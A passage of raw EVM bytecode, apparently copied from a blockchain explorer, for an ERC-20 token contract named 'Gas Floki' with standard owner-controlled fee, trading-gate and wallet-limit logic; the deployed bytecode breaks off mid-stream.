919050565b60075481565b6000601554905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600981526020017fe29bbd20464c4f4b490000000000000000000000000000000000000000000000815250905090565b600d5481565b610d9b611267565b73ffffffffffffffffffffffffffffffffffffffff16610db9610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e06906128ad565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ea4610e9d611267565b8484611438565b6001905092915050565b60085481565b610ebc611267565b73ffffffffffffffffffffffffffffffffffffffff16610eda610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f27906128ad565b60405180910390fd5b610f3a6000611b15565b565b60065481565b600e5481565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fdd611267565b73ffffffffffffffffffffffffffffffffffffffff16610ffb610d21565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906128ad565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110b4611267565b73ffffffffffffffffffffffffffffffffffffffff166110d2610d21565b73ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906128ad565b60405180910390fd5b6009600a6111369190612b4b565b826111419190612b96565b6015819055506009600a6111559190612b4b565b816111609190612b96565b6014819055505050565b60055481565b611178611267565b73ffffffffffffffffffffffffffffffffffffffff16611196610d21565b73ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e3906128ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290612c62565b60405180910390fd5b61126481611b15565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d590612cf4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490612d86565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161142b91906126d7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612e18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612eaa565b60405180910390fd5b60008111611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090612f3c565b60405180910390fd5b61156283610cc8565b8111156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612fce565b60405180910390fd5b601260149054906101000a900460ff16806116085750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061165c5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61169b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116929061303a565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117465750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561179c5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183f576015548111156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd906130a6565b60405180910390fd5b601454816117f384610cc8565b6117fd91906129c2565b111561183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613112565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118ea5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119405750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199e5760145461195183610cc8565b8261195c91906129c2565b111561199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906131a4565b60405180910390fd5b5b60006119a930610cc8565b9050601260159054906101000a900460ff16158015611a165750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2e5750601260169054906101000a900460ff165b8015611a3a5750600081115b15611a6257611a4881611bd9565b60004790506000811115611a6057611a5f47611e52565b5b505b611b0f848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b095750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ebe565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c1157611c106131c4565b5b604051908082528060200260200182016040528015611c3f5781602001602082028036833780820191505090505b5090503081600081518110611c5757611c566131f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d229190613237565b81600181518110611d3657611d356131f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9d30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461126f565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e01959493929190613367565b600060405180830381600087803b158015611e1b57600080fd5b505af1158015611e2f573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eba573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f0d919061298e565b92505081905550600081611f215782611f2d565b611f2c858585611ff1565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f7e91906129c2565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fe291906126d7565b60405180910390a35050505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561205257506000600854115b156120f557601060009054906101000a900461ffff1661ffff166005548361207a9190612b96565b61208491906133f0565b600d81905550601060009054906101000a900461ffff1661ffff16600654836120ad9190612b96565b6120b791906133f0565b600e81905550601060009054906101000a900461ffff1661ffff16600754836120e09190612b96565b6120ea91906133f0565b600f819055506121f4565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561215457506000600c54115b156121f357601060009054906101000a900461ffff1661ffff166009548361217c9190612b96565b61218691906133f0565b600d81905550601060009054906101000a900461ffff1661ffff16600a54836121af9190612b96565b6121b991906133f0565b600e81905550601060009054906101000a900461ffff1661ffff16600b54836121e29190612b96565b6121ec91906133f0565b600f819055505b5b600d5460016000601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461226791906129c2565b92505081905550601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516122ef91906126d7565b60405180910390a3600e546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461234a91906129c2565b92505081905550600e54601354612361919061298e565b60138190555061236f610872565b60138190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040516123d691906126d7565b60405180910390a3600f54600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461242f91906129c2565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161249591906126d7565b60405180910390a36000600f54600e54600d546124b291906129c2565b6124bc91906129c2565b905080836124ca919061298e565b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124ff826124d4565b9050919050565b61250f816124f4565b82525050565b600060208201905061252a6000830184612506565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561256a57808201518184015260208101905061254f565b83811115612579576000848401525b50505050565b6000601f19601f8301169050919050565b600061259b82612530565b6125a5818561253b565b93506125b581856020860161254c565b6125be8161257f565b840191505092915050565b600060208201905081810360008301526125e38184612590565b905092915050565b600080fd5b6125f9816124f4565b811461260457600080fd5b50565b600081359050612616816125f0565b92915050565b6000819050919050565b61262f8161261c565b811461263a57600080fd5b50565b60008135905061264c81612626565b92915050565b60008060408385031215612669576126686125eb565b5b600061267785828601612607565b92505060206126888582860161263d565b9150509250929050565b60008115159050919050565b6126a781612692565b82525050565b60006020820190506126c2600083018461269e565b92915050565b6126d18161261c565b82525050565b60006020820190506126ec60008301846126c8565b92915050565b600061ffff82169050919050565b612709816126f2565b82525050565b60006020820190506127246000830184612700565b92915050565b600080600060608486031215612743576127426125eb565b5b600061275186828701612607565b935050602061276286828701612607565b92505060406127738682870161263d565b9150509250925092565b600060ff82169050919050565b6127938161277d565b82525050565b60006020820190506127ae600083018461278a565b92915050565b6000602082840312156127ca576127c96125eb565b5b60006127d884828501612607565b91505092915050565b600080604083850312156127f8576127f76125eb565b5b600061280685828601612607565b925050602061281785828601612607565b9150509250929050565b60008060408385031215612838576128376125eb565b5b60006128468582860161263d565b92505060206128578582860161263d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061289760208361253b565b91506128a282612861565b602082019050919050565b600060208201905081810360008301526128c68161288a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061292960288361253b565b9150612934826128cd565b604082019050919050565b600060208201905081810360008301526129588161291c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129998261261c565b91506129a48361261c565b9250828210156129b7576129b661295f565b5b828203905092915050565b60006129cd8261261c565b91506129d88361261c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c61295f565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b6001851115612a6f57808604811115612a4b57612a4a61295f565b5b6001851615612a5a5780820291505b8081029050612a6885612a18565b9450612a2f565b94509492505050565b600082612a885760019050612b44565b81612a965760009050612b44565b8160018114612aac5760028114612ab657612ae5565b6001915050612b44565b60ff841115612ac857612ac761295f565b5b8360020a915084821115612adf57612ade61295f565b5b50612b44565b5060208310610133831016604e8410600b8410161715612b1a5782820a905083811115612b1557612b1461295f565b5b612b44565b612b278484846001612a25565b92509050818404811115612b3e57612b3d61295f565b5b81810290505b9392505050565b6000612b568261261c565b9150612b618361277d565b9250612b8e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a78565b905092915050565b6000612ba18261261c565b9150612bac8361261c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612be557612be461295f565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612c4c60268361253b565b9150612c5782612bf0565b604082019050919050565b60006020820190508181036000830152612c7b81612c3f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612cde60248361253b565b9150612ce982612c82565b604082019050919050565b60006020820190508181036000830152612d0d81612cd1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d7060228361253b565b9150612d7b82612d14565b604082019050919050565b60006020820190508181036000830152612d9f81612d63565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e0260258361253b565b9150612e0d82612da6565b604082019050919050565b60006020820190508181036000830152612e3181612df5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e9460238361253b565b9150612e9f82612e38565b604082019050919050565b60006020820190508181036000830152612ec381612e87565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612f2660298361253b565b9150612f3182612eca565b604082019050919050565b60006020820190508181036000830152612f5581612f19565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b6000612fb860318361253b565b9150612fc382612f5c565b604082019050919050565b60006020820190508181036000830152612fe781612fab565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b600061302460178361253b565b915061302f82612fee565b602082019050919050565b6000602082019050818103600083015261305381613017565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061309060198361253b565b915061309b8261305a565b602082019050919050565b600060208201905081810360008301526130bf81613083565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006130fc601a8361253b565b9150613107826130c6565b602082019050919050565b6000602082019050818103600083015261312b816130ef565b9050919050565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061318e60228361253b565b915061319982613132565b604082019050919050565b600060208201905081810360008301526131bd81613181565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613231816125f0565b92915050565b60006020828403121561324d5761324c6125eb565b5b600061325b84828501613222565b91505092915050565b6000819050919050565b6000819050919050565b600061329361328e61328984613264565b61326e565b61261c565b9050919050565b6132a381613278565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132de816124f4565b82525050565b60006132f083836132d5565b60208301905092915050565b6000602082019050919050565b6000613314826132a9565b61331e81856132b4565b9350613329836132c5565b8060005b8381101561335a57815161334188826132e4565b975061334c836132fc565b92505060018101905061332d565b5085935050505092915050565b600060a08201905061337c60008301886126c8565b613389602083018761329a565b818103604083015261339b8186613309565b90506133aa6060830185612506565b6133b760808301846126c8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133fb8261261c565b91506134068361261c565b925082613416576134156133c1565b5b82820490509291505056fea2646970667358221220558a1a263d97733e332a82230aed2808f5177ad635222430382248fdec414fd264736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106102085760003560e01c806384d6c8c611610118578063c2af913b116100a0578063dd62ed3e1161006f578063dd62ed3e14610724578063ea2f0b3714610761578063ebece9c91461078a578063f239eab8146107b3578063f2fde38b146107de5761020f565b8063c2af913b1461068c578063c99f2fed146106a3578063cc70acee146106ce578063d0a39814146106f95761020f565b80639740a946116100e75780639740a946146105a55780639f71146d146105d0578063a8b08982146105f9578063a9059cbb14610624578063b9e93700146106615761020f565b806384d6c8c6146104f95780638da5cb5b14610524578063921369131461054f57806395d89b411461057a5761020f565b806323b872dd1161019b578063437823ec1161016a578063437823ec1461041257806347afcbfe1461043b5780636cce46fc1461046657806370a08231146104915780637bce5a04146104ce5761020f565b806323b872dd1461036a578063313ce567146103a75780633722355c146103d25780633e0c23b8146103fb5761020f565b806318160ddd116101d757806318160ddd146102d2578063190024e0146102fd5780631d6167ac146103145780631f3fed8f1461033f5761020f565b806303fd2a451461021457806306fdde031461023f578063095ea7b31461026a5780630fa604e4146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610807565b6040516102369190612515565b60405180910390f35b34801561024b57600080fd5b5061025461080d565b60405161026191906125c9565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612652565b61084a565b60405161029e91906126ad565b60405180910390f35b3480156102b357600080fd5b506102bc610868565b6040516102c991906126d7565b60405180910390f35b3480156102de57600080fd5b506102e7610872565b6040516102f491906126d7565b60405180910390f35b34801561030957600080fd5b5061031261087c565b005b34801561032057600080fd5b50610329610930565b604051610336919061270f565b60405180910390f35b34801561034b57600080fd5b50610354610944565b60405161036191906126d7565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c919061272a565b61094a565b60405161039e91906126ad565b60405180910390f35b3480156103b357600080fd5b506103bc610a4b565b6040516103c99190612799565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f491906127b4565b610a54565b005b34801561040757600080fd5b50610410610b2b565b005b34801561041e57600080fd5b50610439600480360381019061043491906127b4565b610be5565b005b34801561044757600080fd5b50610450610cbc565b60405161045d91906126d7565b60405180910390f35b34801561047257600080fd5b5061047b610cc2565b60405161048891906126d7565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906127b4565b610cc8565b6040516104c591906126d7565b60405180910390f35b3480156104da57600080fd5b506104e3610d11565b6040516104f091906126d7565b60405180910390f35b34801561050557600080fd5b5061050e610d17565b60405161051b91906126d7565b60405180910390f35b34801561053057600080fd5b50610539610d21565b6040516105469190612515565b60405180910390f35b34801561055b57600080fd5b50610564610d4a565b60405161057191906126d7565b60405180910390f35b34801561058657600080fd5b5061058f610d50565b60405161059c91906125c9565b60405180910390f35b3480156105b157600080fd5b506105ba610d8d565b6040516105c791906126d7565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f291906127b4565b610d93565b005b34801561060557600080fd5b5061060e610e6a565b60405161061b9190612515565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190612652565b610e90565b60405161065891906126ad565b60405180910390f35b34801561066d57600080fd5b50610676610eae565b60405161068391906126d7565b60405180910390f35b34801561069857600080fd5b506106a1610eb4565b005b3480156106af57600080fd5b506106b8610f3c565b6040516106c591906126d7565b60405180910390f35b3480156106da57600080fd5b506106e3610f42565b6040516106f091906126d7565b60405180910390f35b34801561070557600080fd5b5061070e610f48565b60405161071b91906126d7565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906127e1565b610f4e565b60405161075891906126d7565b60405180910390f35b34801561076d57600080fd5b50610788600480360381019061078391906127b4565b610fd5565b005b34801561079657600080fd5b506107b160048036038101906107ac9190612821565b6110ac565b005b3480156107bf57600080fd5b506107c861116a565b6040516107d591906126d7565b60405180910390f35b3480156107ea57600080fd5b50610805600480360381019061080091906127b4565b611170565b005b61dead81565b60606040518060400160405280600981526020017f47617320466c6f6b690000000000000000000000000000000000000000000000815250905090565b600061085e610857611267565b848461126f565b6001905092915050565b6000601454905090565b6000601354905090565b610884611267565b73ffffffffffffffffffffffffffffffffffffffff166108a2610d21565b73ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef906128ad565b60405180910390fd5b6000601260166101000a81548160ff0219169083151502179055506000601260146101000a81548160ff021916908315150217905550565b601060009054906101000a900461ffff1681565b600f5481565b6000610957848484611438565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a2611267565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a199061293f565b60405180910390fd5b610a3f85610a2e611267565b8584610a3a919061298e565b61126f565b60019150509392505050565b60006009905090565b610a5c611267565b73ffffffffffffffffffffffffffffffffffffffff16610a7a610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906128ad565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b33611267565b73ffffffffffffffffffffffffffffffffffffffff16610b51610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9e906128ad565b60405180910390fd5b60c86009819055506000600a819055506101f4600b81905550600b54600a54600954610bd391906129c2565b610bdd91906129c2565b600c81905550565b610bed611267565b73ffffffffffffffffffffffffffffffffffffffff16610c0b610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c58906128ad565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000601554905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600981526020017fe29bbd20464c4f4b490000000000000000000000000000000000000000000000815250905090565b600d5481565b610d9b611267565b73ffffffffffffffffffffffffffffffffffffffff16610db9610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e06906128ad565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ea4610e9d611267565b8484611438565b6001905092915050565b60085481565b610ebc611267565b73ffffffffffffffffffffffffffffffffffffffff16610eda610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f27906128ad565b60405180910390fd5b610f3a6000611b15565b565b60065481565b600e5481565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fdd611267565b73ffffffffffffffffffffffffffffffffffffffff16610ffb610d21565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906128ad565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110b4611267565b73ffffffffffffffffffffffffffffffffffffffff166110d2610d21565b73ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906128ad565b60405180910390fd5b6009600a6111369190612b4b565b826111419190612b96565b6015819055506009600a6111559190612b4b565b816111609190612b96565b6014819055505050565b60055481565b611178611267565b73ffffffffffffffffffffffffffffffffffffffff16611196610d21565b73ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e3906128ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290612c62565b60405180910390fd5b61126481611b15565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d590612cf4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490612d86565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161142b91906126d7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612e18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612eaa565b60405180910390fd5b60008111611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090612f3c565b60405180910390fd5b61156283610cc8565b8111156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612fce565b60405180910390fd5b601260149054906101000a900460ff16806116085750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061165c5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61169b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116929061303a565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117465750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561179c5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183f576015548111156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd906130a6565b60405180910390fd5b601454816117f384610cc8565b6117fd91906129c2565b111561183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613112565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118ea5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119405750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199e5760145461195183610cc8565b8261195c91906129c2565b111561199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906131a4565b60405180910390fd5b5b60006119a930610cc8565b9050601260159054906101000a900460ff16158015611a1657506012600090549061010